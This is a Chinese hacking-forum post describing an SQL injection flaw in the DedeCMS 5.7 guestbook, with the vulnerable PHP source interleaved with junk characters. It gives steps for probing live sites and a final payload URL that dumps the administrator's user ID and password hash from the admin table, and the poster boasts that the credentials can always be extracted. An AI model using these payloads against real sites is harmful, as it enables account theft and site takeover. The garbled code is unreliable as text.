找回密码
 立即注册
查看: 4486|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7. I$ v. }. a. B8 ^
& ~  V/ e- K" N9 H+ T) v
漏洞文件edit.inc.php具体代码:$ O4 @' Z& m' f$ L6 k

1 c3 d' b/ @& Q& ^8 `1 A< ?php  % `5 `) B' v# W; i0 K
5 F' {8 s" ^# k8 |
if(!defined('DEDEINC')) exit('Request Error!');  
' n: x8 y* ~% p; i' P" {% z
' z& r  m" A# a7 }+ g7 }* s   1 J% a2 p4 p. ]; `. C) J
2 w9 d" L& e- M4 H! ?$ \
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  + D1 f; G+ r. p/ Q
" r. q- O& V) Y7 g) X6 T8 `  ^
else $GUEST_BOOK_POS = "guestbook.php";  
& }- A. T" {& K( _: D& U  Y
  n0 J& }& ~- D' }! e: t  O$ v   3 L2 c: e! x  n/ [" A+ r$ [

  D$ ^) p( X% R# r' Q  J/ E- l$id = intval($id);  , g# E* }, r( E1 M, L

# b. ]9 ?2 t( d5 B; H$ tif(empty($job)) $job='view';  
. v( t4 i" G# A: I9 ?  c4 J8 o6 b
5 t, P0 @" M. z% J9 b- ]   
+ q8 \# j4 s: n$ A0 {
3 @5 o! B0 A2 a: e$ [if($job=='del' && $g_isadmin)  
* D4 s- V+ f: C/ b4 `) W2 ?
5 Y. I0 A/ |/ ~{  
! Q. }2 H/ N- F, `) x  d& C. x  r, d7 b8 u9 Z3 u
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  , j) i6 s1 b: W6 M" r% q* h
& c+ ]- l4 C6 x) q$ C* \
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  7 ~8 t# A3 H4 ^+ a1 Y  r

! R: r- a. }: Z' R( yexit();  4 H' `9 K& M+ ~1 u9 K+ O

! i6 F8 z- G+ X}  
0 K7 J3 K) L3 ?9 U. G0 z% l  T
/ h* W( [# v% ]else if($job=='check' && $g_isadmin)  
; ~# c# u$ t3 J6 r* v( L5 C/ U: A  c
{  : }( y3 Y# F- b0 o& @. \

% ~5 w% ~' W+ K/ u$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  : Q4 A! t% J1 l) ~) t- N
% @, z4 c* S5 w* z3 |6 i
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
, I1 r3 R3 t; B
% v. Y9 x0 }5 y1 k* Texit();  0 q5 @; B+ }+ @( w# N
/ `* s: r) `+ R% p
}  
' K6 g1 ]  f; L8 {8 I$ p. Z, O
! n; N+ _# ^) G) _9 y: melse if($job=='editok')  " N! k  j0 B1 \

9 l3 E- P" [- v' v# G. g{  7 u$ @& f2 @* m0 u
: e4 D% B. W! J1 t* C
$remsg = trim($remsg);  ( |7 o+ m. K" a6 A
: J! N1 }" k. L/ z% q
if($remsg!='')  : R  V. B0 b- |) u
4 c( u. Q0 c2 y0 @- \
{  
6 {# |! F- g5 ~* T2 S
1 k8 d6 J% Y- ~. Q//管理员回复不过滤HTML By:Errorera blog:errs.cc  $ r$ @- v/ R3 [" h& l/ }

& y" h% Z4 A. m- Q$ K  u/ G, h0 xif($g_isadmin)  0 k9 ]* l6 S; m$ |. w  @2 P
5 h3 C$ U! u8 r0 p9 _# p
{  3 s/ [1 X+ K! [  ]" K0 A% }

( O0 f: M. E; w9 m! U$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  7 x. P3 E$ [$ j
9 ]& Z; ]3 |* p( M. j4 `" a6 p( |
//$remsg <br /><font color=red>管理员回复:</font> }  & _: e: ?: S# g. v+ F
/ z/ |8 Z. ?; D" E' }
else
# O4 u) R1 f# h' {7 i  B0 h, [1 B3 K" z# R+ |# X5 _5 U- U
{  7 w8 r  ~# W' I- b+ W9 _

! y* v" R1 s* z2 S$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
1 \  ]" f9 J% q+ E! H0 T& O
5 P* e' K# u9 c3 v# f& f$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ' x$ j/ M7 d" i+ P

0 p, }5 e0 U4 d' j9 h' c. @, F$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
, r; m6 a  }# Q1 d
+ a4 q4 V& Y$ Y% q$msg = $oldmsg.$remsg;  1 p5 }8 W) G% W  Y+ Y3 U. y, |; G

% B) Z* ]0 }5 x. K# _! l$ H}    F7 M' Z" ^' L2 V
6 B( v' t( t2 W4 w" S/ @0 Z
}  
* i' y0 A; b$ W
; N7 L5 N$ y6 W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
! O: _1 h  r$ H* _* K- d
! F2 s6 c: U* a+ i3 @3 u$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
8 M8 i/ P3 R6 O. [& g3 A
6 K8 k2 r0 @& n, o( G0 q5 U7 @ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  9 |7 v4 t& @: d$ x$ |5 a# H% G

. \. E9 |( _" Y! texit();  
6 J  w" J+ a0 \: U8 X" K' t# T7 @) G7 p0 Q. O
}  
7 u4 g5 _' u, }! a. l' j3 k) B3 m* O0 e# f% j9 g
//home:www.errs.cc  
( U" U# Q5 K1 `( m! D: H) B; J* M+ A
if($g_isadmin)  # Y, U4 }+ X4 `& `
. r" w' m: r) G5 X- t( ], [0 m
{  
/ u+ `% i  P; F( y% J' ~) L2 H# G0 x4 {
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
$ `" y/ D3 ]& R8 y2 I; c$ F
# d/ R9 T9 Z/ W; u' U; z$ I2 d6 Drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
4 b: U! r. \+ q
7 x$ c: B- \9 k. Z& [}  2 o9 n; \* C  Q9 M6 V4 d. q
2 k0 Y- ~& f/ Q8 I; C
else   v, h# _" Y6 P& I
/ _( j( G. }- g2 {4 a
{  
: A4 m9 W2 I/ ]+ u# T0 e0 x# @2 Z. ]' E+ u
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
4 N, b$ [' {6 ~$ R/ X( F" s; b6 V- c* ^
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  ( \$ U* k2 v* f. V3 U
7 S% h+ z9 H8 `' {- }4 s
} 漏洞成功需要条件:! }7 A2 V" b. @
1. php magic_quotes_gpc=off- f7 K, e, m2 `. x! M* x, ]5 ^. Y
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
  z, d3 ^$ w" o9 L* V7 C4 L: X" ]( u$ L/ i5 r; O* K
怎么判断是否存在漏洞:2 Y1 f( k$ [/ j3 W: J0 S; f
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言," j" w0 J" ^' g' ~; N
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID2 R( J" n9 t/ l$ y$ Y  P- C
访问:8 ]1 C6 D; t! V

0 ?2 U0 i* q7 R. t2 s0 ^9 Y1 r  cwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) M$ I% w- K. X2 Z9 Y- S% V跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证( j# ]! k2 Z! z+ q
! y4 u6 F$ u# e

& k  Q4 c% e2 K4 |明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ j7 S- `) _1 x3 W
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
" W# Q4 v7 R. H( l那么再次访问, l$ s" ~; u  [

0 L* G5 d0 O+ q% g! fwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user()./ G. m* G/ ]* v" }( V! q9 k$ D

' h% D, _: y+ _1 T大概利用就是这样,大家有兴趣的多研究下!!
- Q7 ~' `' e) Q. P2 O5 a4 [3 s# ~5 |" b. [
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
  Y# J$ p# {  T$ s0 y$ F3 ^4 h7 O4 s" J
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表